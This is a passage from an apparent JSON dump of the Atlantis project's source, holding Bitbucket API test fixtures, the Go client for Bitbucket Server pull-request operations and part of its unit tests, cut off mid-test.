}\n  },\n  \"created_on\": \"2019-02-12T16:48:04.251028+00:00\",\n  \"summary\": {\n    \"raw\": \"main.tf edited online with Bitbucket\",\n    \"markup\": \"markdown\",\n    \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n    \"type\": \"rendered\"\n  },\n  \"source\": {\n    \"commit\": {\n      \"hash\": \"75d1e7c57cd9\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9\"\n        }\n      }\n    },\n    \"repository\": {\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n        }\n      },\n      \"type\": \"repository\",\n      \"name\": \"atlantis-example\",\n      \"full_name\": \"lkysow/atlantis-example\",\n      \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n    },\n    \"branch\": {\n      \"name\": \"lkysow/maintf-edited-online-with-bitbucket-1549990080103\"\n    }\n  },\n  \"comment_count\": 23,\n  \"state\": \"OPEN\",\n  \"task_count\": 0,\n  \"participants\": [\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:51:44.122406+00:00\",\n      \"type\": \"participant\",\n      \"approved\": false,\n      \"user\": {\n        \"display_name\": \"Luke\",\n        \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n          }\n        },\n        \"nickname\": \"Luke\",\n        \"type\": \"user\",\n        \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n      }\n    },\n    {\n      \"role\": \"PARTICIPANT\",\n      \"participated_on\": \"2019-06-03T13:51:47.350675+00:00\",\n      \"type\": \"participant\",\n      \"approved\": false,\n      \"user\": {\n        \"display_name\": \"Atlantisbot\",\n        \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b8}\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n          }\n        },\n        \"nickname\": \"Atlantisbot\",\n        \"type\": \"user\",\n        \"account_id\": \"5b5097035488b9140c078f7f\"\n      }\n    }\n  ],\n  \"reason\": \"\",\n  \"updated_on\": \"2019-06-03T13:54:09.266101+00:00\",\n  \"author\": {\n    \"display_name\": \"Luke\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\"\n  },\n  \"merge_commit\": null,\n  \"closed_by\": null\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/user.json",
    "content": "{\n  \"display_name\": \"bb bot\",\n  \"links\": {\n    \"self\": {\n      \"href\": \"https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D\"\n    },\n    \"avatar\": {\n      \"href\": \"https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/RR-3.png\"\n    },\n    \"repositories\": {\n      \"href\": \"https://api.bitbucket.org/2.0/repositories/%7B00000000-0000-0000-0000-000000000001%7D\"\n    },\n    \"snippets\": {\n      \"href\": \"https://api.bitbucket.org/2.0/snippets/%7B00000000-0000-0000-0000-000000000001%7D\"\n    },\n    \"html\": {\n      \"href\": \"https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/\"\n    },\n    \"hooks\": {\n      \"href\": \"https://api.bitbucket.org/2.0/workspaces/%7B00000000-0000-0000-0000-000000000001%7D/hooks\"\n    }\n  },\n  \"created_on\": \"2024-02-01T12:08:46.355300+00:00\",\n  \"type\": \"user\",\n  \"uuid\": \"{00000000-0000-0000-0000-000000000001}\",\n  \"has_2fa_enabled\": null,\n  \"username\": \"bb-bot\",\n  \"is_staff\": false,\n  \"account_id\": \"000000:00000000-0000-0000-0000-000000000001\",\n  \"nickname\": \"bb bot\",\n  \"account_status\": \"active\",\n  \"location\": null\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketserver/client.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage bitbucketserver\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\tvalidator \"github.com/go-playground/validator/v10\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n// maxCommentLength is the maximum number of chars allowed by Bitbucket in a\n// single comment.\nconst maxCommentLength = 32768\n\ntype Client struct {\n\thttpClient  *http.Client\n\tusername    string\n\tpassword    string\n\tBaseURL     string\n\tatlantisURL string\n}\n\ntype DeleteSourceBranch struct {\n\tName   string `json:\"name\"`\n\tDryRun bool   `json:\"dryRun\"`\n}\n\n// NewClient builds a bitbucket cloud client. Returns an error if the baseURL is\n// malformed. httpClient is the client to use to make the requests, username\n// and password are used as basic auth in the requests, baseURL is the API's\n// baseURL, ex. https://corp.com:7990. Don't include the API version, ex.\n// '/1.0' since that changes based on the API call. atlantisURL is the\n// URL for Atlantis that will be linked to from the build status icons. This\n// linking is annoying because we don't have anywhere good to link but a URL is\n// required.\nfunc NewClient(httpClient *http.Client, username string, password string, baseURL string, atlantisURL string) (*Client, error) {\n\tif httpClient == nil {\n\t\thttpClient = http.DefaultClient\n\t}\n\tparsedURL, err := url.Parse(baseURL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing %s: %w\", baseURL, err)\n\t}\n\tif parsedURL.Scheme == \"\" {\n\t\treturn nil, fmt.Errorf(\"must have 'http://' or 'https://' in base url %q\", baseURL)\n\t}\n\treturn &Client{\n\t\thttpClient:  httpClient,\n\t\tusername:    username,\n\t\tpassword:    password,\n\t\tBaseURL:     strings.TrimRight(parsedURL.String(), \"/\"),\n\t\tatlantisURL: atlantisURL,\n\t}, nil\n}\n\n// GetModifiedFiles returns the names of files that were modified in the merge request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tvar files []string\n\n\tprojectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnextPageStart := 0\n\tbaseURL := fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/changes\",\n\t\tb.BaseURL, projectKey, repo.Name, pull.Num)\n\t// We'll only loop 1000 times as a safety measure.\n\tmaxLoops := 1000\n\tfor range maxLoops {\n\t\tresp, err := b.makeRequest(\"GET\", fmt.Sprintf(\"%s?start=%d\", baseURL, nextPageStart), nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar changes Changes\n\t\tif err := json.Unmarshal(resp, &changes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t\t}\n\t\tif err := validator.New().Struct(changes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t\t}\n\t\tfor _, v := range changes.Values {\n\t\t\tfiles = append(files, *v.Path.ToString)\n\n\t\t\t// If the file was renamed, we'll want to run plan in the directory\n\t\t\t// it was moved from as well.\n\t\t\tif v.SrcPath != nil {\n\t\t\t\tfiles = append(files, *v.SrcPath.ToString)\n\t\t\t}\n\t\t}\n\t\tif *changes.IsLastPage {\n\t\t\tbreak\n\t\t}\n\t\tnextPageStart = *changes.NextPageStart\n\t}\n\n\t// Now ensure all files are unique.\n\thash := make(map[string]bool)\n\tvar unique []string\n\tfor _, f := range files {\n\t\tif !hash[f] {\n\t\t\tunique = append(unique, f)\n\t\t\thash[f] = true\n\t\t}\n\t}\n\treturn unique, nil\n}\n\nfunc (b *Client) GetProjectKey(repoName string, cloneURL string) (string, error) {\n\t// Get the project key out of the repo clone URL.\n\t// Given http://bitbucket.corp:7990/scm/at/atlantis-example.git\n\t// we want to get 'at'.\n\texpr := fmt.Sprintf(\".*/(.*?)/%s\\\\.git\", repoName)\n\tcapture, err := regexp.Compile(expr)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"constructing regex from %q: %w\", expr, err)\n\t}\n\tmatches := capture.FindStringSubmatch(cloneURL)\n\tif len(matches) != 2 {\n\t\treturn \"\", fmt.Errorf(\"extracting project key from %q, regex returned %q\", cloneURL, strings.Join(matches, \",\"))\n\t}\n\treturn matches[1], nil\n}\n\n// CreateComment creates a comment on the merge request. It will write multiple\n// comments if a single comment is too long.\nfunc (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tcomments := common.SplitComment(logger, comment, maxCommentLength, 0, command)\n\tfor _, c := range comments {\n\t\tif err := b.postComment(repo, pullNum, c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error {\n\treturn nil\n}\n\nfunc (b *Client) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error {\n\treturn nil\n}\n\n// postComment actually posts the comment. It's a helper for CreateComment().\nfunc (b *Client) postComment(repo models.Repo, pullNum int, comment string) error {\n\tbodyBytes, err := json.Marshal(map[string]string{\"text\": comment})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json encoding: %w\", err)\n\t}\n\tprojectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpath := fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/comments\", b.BaseURL, projectKey, repo.Name, pullNum)\n\t_, err = b.makeRequest(\"POST\", path, bytes.NewBuffer(bodyBytes))\n\treturn err\n}\n\n// PullIsApproved returns true if the merge request was approved.\nfunc (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) {\n\tprojectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL)\n\tif err != nil {\n\t\treturn approvalStatus, err\n\t}\n\tpath := fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d\", b.BaseURL, projectKey, repo.Name, pull.Num)\n\tresp, err := b.makeRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn approvalStatus, err\n\t}\n\tvar pullResp PullRequest\n\tif err := json.Unmarshal(resp, &pullResp); err != nil {\n\t\treturn approvalStatus, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t}\n\tif err := validator.New().Struct(pullResp); err != nil {\n\t\treturn approvalStatus, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t}\n\tfor _, reviewer := range pullResp.Reviewers {\n\t\tif *reviewer.Approved {\n\t\t\treturn models.ApprovalStatus{\n\t\t\t\tIsApproved: true,\n\t\t\t}, nil\n\t\t}\n\t}\n\treturn approvalStatus, nil\n}\n\nfunc (b *Client) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error {\n\t// TODO implement\n\treturn nil\n}\n\n// PullIsMergeable returns true if the merge request has no conflicts and can be merged.\nfunc (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) {\n\tprojectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL)\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\tpath := fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/merge\", b.BaseURL, projectKey, repo.Name, pull.Num)\n\tresp, err := b.makeRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\tvar mergeStatus MergeStatus\n\tif err := json.Unmarshal(resp, &mergeStatus); err != nil {\n\t\treturn models.MergeableStatus{}, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t}\n\tif err := validator.New().Struct(mergeStatus); err != nil {\n\t\treturn models.MergeableStatus{}, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t}\n\tif *mergeStatus.CanMerge && !*mergeStatus.Conflicted {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: true,\n\t\t}, nil\n\t}\n\treturn models.MergeableStatus{\n\t\tIsMergeable: false,\n\t}, nil\n}\n\n// UpdateStatus updates the status of a commit.\nfunc (b *Client) UpdateStatus(logger logging.SimpleLogging, _ models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error {\n\tbbState := \"FAILED\"\n\tswitch status {\n\tcase models.PendingCommitStatus:\n\t\tbbState = \"INPROGRESS\"\n\tcase models.SuccessCommitStatus:\n\t\tbbState = \"SUCCESSFUL\"\n\tcase models.FailedCommitStatus:\n\t\tbbState = \"FAILED\"\n\t}\n\n\tlogger.Info(\"Updating BitBucket commit status for '%s' to '%s'\", src, bbState)\n\n\t// URL is a required field for bitbucket statuses. We default to the\n\t// Atlantis server's URL.\n\tif url == \"\" {\n\t\turl = b.atlantisURL\n\t}\n\n\tbodyBytes, err := json.Marshal(map[string]string{\n\t\t\"key\":         src,\n\t\t\"url\":         url,\n\t\t\"state\":       bbState,\n\t\t\"description\": description,\n\t})\n\n\tpath := fmt.Sprintf(\"%s/rest/build-status/1.0/commits/%s\", b.BaseURL, pull.HeadCommit)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json encoding: %w\", err)\n\t}\n\t_, err = b.makeRequest(\"POST\", path, bytes.NewBuffer(bodyBytes))\n\treturn err\n}\n\n// MergePull merges the pull request.\nfunc (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tprojectKey, err := b.GetProjectKey(pull.BaseRepo.Name, pull.BaseRepo.SanitizedCloneURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// We need to make a get pull request API call to get the correct \"version\".\n\tpath := fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d\", b.BaseURL, projectKey, pull.BaseRepo.Name, pull.Num)\n\tresp, err := b.makeRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar pullResp PullRequest\n\tif err := json.Unmarshal(resp, &pullResp); err != nil {\n\t\treturn fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t}\n\tif err := validator.New().Struct(pullResp); err != nil {\n\t\treturn fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t}\n\tpath = fmt.Sprintf(\"%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/merge?version=%d\", b.BaseURL, projectKey, pull.BaseRepo.Name, pull.Num, *pullResp.Version)\n\t_, err = b.makeRequest(\"POST\", path, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif pullOptions.DeleteSourceBranchOnMerge {\n\t\tbodyBytes, err := json.Marshal(DeleteSourceBranch{Name: \"refs/heads/\" + pull.HeadBranch, DryRun: false})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"json encoding: %w\", err)\n\t\t}\n\n\t\tpath = fmt.Sprintf(\"%s/rest/branch-utils/1.0/projects/%s/repos/%s/branches\", b.BaseURL, projectKey, pull.BaseRepo.Name)\n\t\t_, err = b.makeRequest(\"DELETE\", path, bytes.NewBuffer(bodyBytes))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\n// MarkdownPullLink specifies the character used in a pull request comment.\nfunc (b *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"#%d\", pull.Num), nil\n}\n\n// prepRequest adds auth and necessary headers.\nfunc (b *Client) prepRequest(method string, path string, body io.Reader) (*http.Request, error) {\n\treq, err := http.NewRequest(method, path, body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Personal access tokens can be sent as basic auth or bearer\n\tbearer := \"Bearer \" + b.password\n\treq.Header.Add(\"Authorization\", bearer)\n\n\tif body != nil {\n\t\treq.Header.Add(\"Content-Type\", \"application/json\")\n\t}\n\t// Add this header to disable CSRF checks.\n\t// See https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html\n\treq.Header.Add(\"X-Atlassian-Token\", \"no-check\")\n\treturn req, nil\n}\n\nfunc (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]byte, error) {\n\treq, err := b.prepRequest(method, path, reqBody)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"constructing request: %w\", err)\n\t}\n\tresp, err := b.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close() // nolint: errcheck\n\trequestStr := fmt.Sprintf(\"%s %s\", method, path)\n\n\tif resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != 204 {\n\t\trespBody, _ := io.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"making request %q unexpected status code: %d, body: %s\", requestStr, resp.StatusCode, string(respBody))\n\t}\n\trespBody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"reading response from request %q: %w\", requestStr, err)\n\t}\n\treturn respBody, nil\n}\n\n// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to).\nfunc (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) {\n\treturn nil, nil\n}\n\nfunc (b *Client) SupportsSingleFileDownload(_ models.Repo) bool {\n\treturn false\n}\n\n// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n// The first return value indicates whether the repo contains a file or not\n// if BaseRepo had a file, its content will placed on the second return value\nfunc (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) {\n\treturn false, []byte{}, fmt.Errorf(\"not implemented\")\n}\n\nfunc (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) {\n\treturn \"\", fmt.Errorf(\"not yet implemented\")\n}\n\nfunc (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) {\n\treturn nil, fmt.Errorf(\"not yet implemented\")\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketserver/client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage bitbucketserver_test\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test that we include the base path in our base url.\nfunc TestClient_BasePath(t *testing.T) {\n\tcases := []struct {\n\t\tinputURL string\n\t\texpURL   string\n\t\texpErr   string\n\t}{\n\t\t{\n\t\t\tinputURL: \"mycompany.com\",\n\t\t\texpErr:   `must have 'http://' or 'https://' in base url \"mycompany.com\"`,\n\t\t},\n\t\t{\n\t\t\tinputURL: \"https://mycompany.com\",\n\t\t\texpURL:   \"https://mycompany.com\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com\",\n\t\t\texpURL:   \"http://mycompany.com\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com:7990\",\n\t\t\texpURL:   \"http://mycompany.com:7990\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com/\",\n\t\t\texpURL:   \"http://mycompany.com\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com:7990/\",\n\t\t\texpURL:   \"http://mycompany.com:7990\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com/basepath/\",\n\t\t\texpURL:   \"http://mycompany.com/basepath\",\n\t\t},\n\t\t{\n\t\t\tinputURL: \"http://mycompany.com:7990/basepath/\",\n\t\t\texpURL:   \"http://mycompany.com:7990/basepath\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.inputURL, func(t *testing.T) {\n\t\t\tclient, err := bitbucketserver.NewClient(nil, \"u\", \"p\", c.inputURL, \"atlantis-url\")\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, c.expURL, client.BaseURL)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Should follow pagination properly.\nfunc TestClient_GetModifiedFilesPagination(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\trespTemplate := `\n{\n  \"values\": [\n    {\n      \"path\": {\n        \"toString\": \"%s\"\n      }\n    },\n    {\n      \"path\": {\n        \"toString\": \"%s\"\n      }\n    }\n  ],\n  \"size\": 2,\n  \"isLastPage\": true,\n  \"start\": 0,\n  \"limit\": 2,\n  \"nextPageStart\": null\n}\n`\n\tfirstResp := fmt.Sprintf(respTemplate, \"file1.txt\", \"file2.txt\")\n\tsecondResp := fmt.Sprintf(respTemplate, \"file2.txt\", \"file3.txt\")\n\tvar serverURL string\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// The first request should hit this URL.\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/changes?start=0\":\n\t\t\tresp := strings.ReplaceAll(firstResp, `\"isLastPage\": true`, `\"isLastPage\": false`)\n\t\t\tresp = strings.ReplaceAll(resp, `\"nextPageStart\": null`, `\"nextPageStart\": 3`)\n\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\treturn\n\t\t\t// The second should hit this URL.\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/changes?start=3\":\n\t\t\tw.Write([]byte(secondResp)) // nolint: errcheck\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tserverURL = testServer.URL\n\tclient, err := bitbucketserver.NewClient(http.DefaultClient, \"user\", \"pass\", serverURL, \"runatlantis.io\")\n\tOk(t, err)\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tSanitizedCloneURL: fmt.Sprintf(\"%s/scm/ow/repo.git\", serverURL),\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"file1.txt\", \"file2.txt\", \"file3.txt\"}, files)\n}\n\n// Test that we use the correct version parameter in our call to merge the pull\n// request.\nfunc TestClient_MergePull(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tpullRequest, err := os.ReadFile(filepath.Join(\"testdata\", \"pull-request.json\"))\n\tOk(t, err)\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// The first request should hit this URL.\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1\":\n\t\t\tw.Write(pullRequest) // nolint: errcheck\n\t\t\treturn\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/merge?version=3\":\n\t\t\tEquals(t, \"POST\", r.Method)\n\t\t\tw.Write(pullRequest) // nolint: errcheck\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient, err := bitbucketserver.NewClient(http.DefaultClient, \"user\", \"pass\", testServer.URL, \"runatlantis.io\")\n\tOk(t, err)\n\n\terr = client.MergePull(\n\t\tlogger,\n\t\tmodels.PullRequest{\n\t\t\tNum:        1,\n\t\t\tHeadCommit: \"\",\n\t\t\tURL:        \"\",\n\t\t\tHeadBranch: \"\",\n\t\t\tBaseBranch: \"\",\n\t\t\tAuthor:     \"\",\n\t\t\tState:      0,\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\tOwner:             \"owner\",\n\t\t\t\tName:              \"repo\",\n\t\t\t\tSanitizedCloneURL: fmt.Sprintf(\"%s/scm/ow/repo.git\", testServer.URL),\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, models.PullRequestOptions{\n\t\t\tDeleteSourceBranchOnMerge: false,\n\t\t})\n\tOk(t, err)\n}\n\n// Test that we delete the source branch in our call to merge the pull\n// request.\nfunc TestClient_MergePullDeleteSourceBranch(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tpullRequest, err := os.ReadFile(filepath.Join(\"testdata\", \"pull-request.json\"))\n\tOk(t, err)\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// The first request should hit this URL.\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1\":\n\t\t\tw.Write(pullRequest) // nolint: errcheck\n\t\t\treturn\n\t\tcase \"/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/merge?version=3\":\n\t\t\tEquals(t, \"POST\", r.Method)\n\t\t\tw.Write(pullRequest) // nolint: errcheck\n\t\tcase \"/rest/branch-utils/1.0/projects/ow/repos/repo/branches\":\n\t\t\tEquals(t, \"DELETE\", r.Method)\n\t\t\tdefer r.Body.Close()\n\t\t\tb, err := io.ReadAll(r.Body)\n\t\t\tOk(t, err)\n\t\t\tvar payload bitbucketserver.DeleteSourceBranch\n\t\t\terr = json.Unmarshal(b, &payload)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, \"refs/heads/foo\", payload.Name)\n\t\t\tw.WriteHeader(http.StatusNoContent) // nolint: errcheck\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient, err := bitbucketserver.NewClient(http.DefaultClient, \"user\", \"pass\", testServer.URL, \"runatlantis.io\")\n\tOk(t, err)\n\n\terr = client.MergePull(\n\t\tlogger,\n\t\tmodels.PullRequest{\n\t\t\tNum:        1,\n\t\t\tHeadCommit: \"\",\n\t\t\tURL:        \"\",\n\t\t\tHeadBranch: \"foo\",\n\t\t\tBaseBranch: \"\",\n\t\t\tAuthor:     \"\",\n\t\t\tState:      0,\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\tOwner:             